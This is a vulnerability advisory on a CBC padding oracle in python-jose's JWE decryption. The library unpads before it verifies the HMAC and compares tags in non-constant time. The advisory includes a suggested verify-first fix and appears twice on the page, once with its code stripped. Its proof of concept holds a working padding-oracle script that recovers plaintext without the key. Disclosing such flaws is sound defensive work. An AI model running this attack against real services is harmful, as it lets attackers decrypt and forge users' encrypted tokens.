0x01 Affected version
vendor: https://github.com/mpdavis/python-jose
version: 3.5.0 (latest, verified); the affected code path is long-standing and earlier releases are very likely affected.
0x02 What kind of vulnerability is it? Who is impacted?
jose.jwe.decrypt() for the AES-CBC-HMAC content-encryption algorithms (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512 — the RFC 7518 MUST-implement JWE enc algorithms) decrypts and PKCS#7-unpads the ciphertext before verifying the HMAC authentication tag. The two failure modes raise different, attacker-observable errors:
| Tampered ciphertext |
Resulting error |
| CBC decrypt yields invalid PKCS#7 padding |
JWEError: Invalid padding bytes. |
| padding valid, HMAC does not match |
JWEError: Invalid JWE Auth Tag |
This is a classic Vaudenay CBC padding oracle. Any application that exposes the decryption outcome — the exception message, a distinct HTTP status, a log line the attacker can read, or any other observable difference — lets an attacker who can submit JWE tokens decrypt arbitrary ciphertext and forge ciphertexts without knowing the key.
Impacted: any service using python-jose to decrypt attacker-influenced JWEs with a CBC-HMAC enc (commonly alg=dir + A128CBC-HS256 with a shared symmetric key) that does not perfectly suppress decryption errors.
Suggested severity: Medium–High.
CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N (5.9) — AC:H because the application must expose the error distinction.
CWE-347 (Improper Verification of Cryptographic Signature); related CWE-203 (Observable Discrepancy), CWE-208 (Observable Timing Discrepancy).
0x03 Root cause
jose/jwe.py, _decrypt_and_auth() (lines ~239–248):
if enc in ALGORITHMS.HMAC_AUTH_TAG:
encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc)
auth_tag_check = _auth_tag(cipher_text, iv, aad, mac_key, key_len)
...
plaintext = encryption_key.decrypt(cipher_text, iv, aad, auth_tag) # CBC decrypt + PKCS7 unpad FIRST
if auth_tag != auth_tag_check: # HMAC checked AFTER, and with a
raise JWEError("Invalid JWE Auth Tag") # non-constant-time != comparison
return plaintext
encryption_key.decrypt() (jose/backends/cryptography_backend.py, AESKey.decrypt, CBC branch) calls PKCS7(...).unpadder().finalize(), which raises ValueError("Invalid padding bytes.") on bad padding; that is wrapped as JWEError("Invalid padding bytes.") and propagates before the auth_tag check is reached.
RFC 7516 §5.2 (step 12) and RFC 7518 §5.2.2.2 require the opposite order: verify the Authentication Tag first and "reject the input without emitting any decrypted output if the JWE Authentication Tag is incorrect."
Secondary issue: auth_tag != auth_tag_check is a plain bytes comparison, which short-circuits on the first differing byte (non-constant-time). The library already has hmac.compare_digest (used in HMACKey.verify) but does not use it here.
GCM (A128GCM, etc.) is not affected — it sets auth_tag_check = auth_ (source note: sentence was cut off at this point in the original report).
0x04 Proof of Concept
Distinct error messages (the oracle):
from jose import jwe
from jose.utils import base64url_decode, base64url_encode
import os
key = os.urandom(32)
tok = jwe.encrypt(b"secret-plaintext-data-0123456789", key,
encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = (tok.decode() if isinstance(tok, bytes) else tok).split(".")
ct_raw = bytearray(base64url_decode(ct.encode()))
def mk(pos):
b = bytearray(ct_raw); b[pos] ^= 1
return ".".join([h, ek, iv, base64url_encode(bytes(b)).decode(), tag])
for name, t in (("bad PKCS7 padding", mk(len(ct_raw) - 17)),
("valid padding, bad MAC", mk(0))):
try: jwe.decrypt(t, key)
except Exception as e: print(f"{name:24} -> {e}")
bad PKCS7 padding -> Invalid padding bytes.
valid padding, bad MAC -> Invalid JWE Auth Tag
Full plaintext block recovery without the key (Vaudenay attack driven only by that distinction):
PT = b"MESSAGE-BLOCK-01" # 16 bytes
victim = jwe.encrypt(PT, KEY, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = (victim.decode() if isinstance(victim, bytes) else victim).split(".")
C = base64url_decode(ct.encode()); IV = base64url_decode(iv.encode())
C1 = C[:16]
def padding_valid(ivp):
t = ".".join([h, ek, base64url_encode(bytes(ivp)).decode(),
base64url_encode(C1).decode(), tag])
try: jwe.decrypt(t, KEY); return True
except Exception as e: return "padding" not in str(e).lower()
inter = bytearray(16)
for pos in range(15, -1, -1):
pad = 16 - pos
for g in range(256):
ivp = bytearray(16); ivp[pos] = g
for k in range(pos + 1, 16): ivp[k] = inter[k] ^ pad
if padding_valid(ivp):
if pad == 1:
ivp2 = bytearray(ivp); ivp2[pos - 1] ^= 0xFF
if not padding_valid(ivp2): continue
inter[pos] = g ^ pad
break
recovered = bytes(inter[i] ^ IV[i] for i in range(16))
print(recovered) # b'MESSAGE-BLOCK-01'
assert recovered == PT
Output: b'MESSAGE-BLOCK-01' — the full plaintext block recovered using only the Invalid padding bytes. vs Invalid JWE Auth Tag distinction. (python-jose[cryptography]==3.5.0, Python 3.13.)
0x05 Suggested fix
In _decrypt_and_auth() (jose/jwe.py), for the CBC-HMAC branch, verify the HMAC before decrypting, using a constant-time comparison:
if enc in ALGORITHMS.HMAC_AUTH_TAG:
encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc)
auth_tag_check = _auth_tag(cipher_text, iv, aad, mac_key, key_len)
if not hmac.compare_digest(auth_tag, auth_tag_check):
raise JWEError("Invalid JWE Auth Tag")
return encryption_key.decrypt(cipher_text, iv, aad, auth_tag)
elif enc in ALGORITHMS.GCM:
...
(import hmac at module top.) This restores the RFC-mandated verify-then-decrypt order and removes both the padding oracle and the non-constant-time tag comparison.
0x01 Affected version
vendor: https://github.com/mpdavis/python-jose
version: 3.5.0 (latest, verified); the affected code path is long-standing and earlier releases are very likely affected.
0x02 What kind of vulnerability is it? Who is impacted?
jose.jwe.decrypt()for the AES-CBC-HMAC content-encryption algorithms (A128CBC-HS256,A192CBC-HS384,A256CBC-HS512— the RFC 7518 MUST-implement JWE enc algorithms) decrypts and PKCS#7-unpads the ciphertext before verifying the HMAC authentication tag. The two failure modes raise different, attacker-observable errors:JWEError: Invalid padding bytes.JWEError: Invalid JWE Auth TagThis is a classic Vaudenay CBC padding oracle. Any application that exposes the decryption outcome — the exception message, a distinct HTTP status, a log line the attacker can read, or any other observable difference — lets an attacker who can submit JWE tokens decrypt arbitrary ciphertext and forge ciphertexts without knowing the key.
Impacted: any service using python-jose to decrypt attacker-influenced JWEs with a CBC-HMAC
enc(commonlyalg=dir+A128CBC-HS256with a shared symmetric key) that does not perfectly suppress decryption errors.Suggested severity: Medium–High.
CVSS 3.1:
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N(5.9) — AC:H because the application must expose the error distinction.CWE-347 (Improper Verification of Cryptographic Signature); related CWE-203 (Observable Discrepancy), CWE-208 (Observable Timing Discrepancy).
0x03 Root cause
jose/jwe.py,_decrypt_and_auth()(lines ~239–248):encryption_key.decrypt()(jose/backends/cryptography_backend.py,AESKey.decrypt, CBC branch) callsPKCS7(...).unpadder().finalize(), which raisesValueError("Invalid padding bytes.")on bad padding; that is wrapped asJWEError("Invalid padding bytes.")and propagates before theauth_tagcheck is reached.RFC 7516 §5.2 (step 12) and RFC 7518 §5.2.2.2 require the opposite order: verify the Authentication Tag first and "reject the input without emitting any decrypted output if the JWE Authentication Tag is incorrect."
Secondary issue:
auth_tag != auth_tag_checkis a plain bytes comparison, which short-circuits on the first differing byte (non-constant-time). The library already hashmac.compare_digest(used inHMACKey.verify) but does not use it here.GCM (
A128GCM, etc.) is not affected — it setsauth_tag_check = auth_(source note: sentence was cut off at this point in the original report).0x04 Proof of Concept
Distinct error messages (the oracle):
bad PKCS7 padding -> Invalid padding bytes.
valid padding, bad MAC -> Invalid JWE Auth Tag
Full plaintext block recovery without the key (Vaudenay attack driven only by that distinction):
Output:
b'MESSAGE-BLOCK-01'— the full plaintext block recovered using only theInvalid padding bytes.vsInvalid JWE Auth Tagdistinction. (python-jose[cryptography]==3.5.0, Python 3.13.)0x05 Suggested fix
In
_decrypt_and_auth()(jose/jwe.py), for the CBC-HMAC branch, verify the HMAC before decrypting, using a constant-time comparison:(
import hmacat module top.) This restores the RFC-mandated verify-then-decrypt order and removes both the padding oracle and the non-constant-time tag comparison.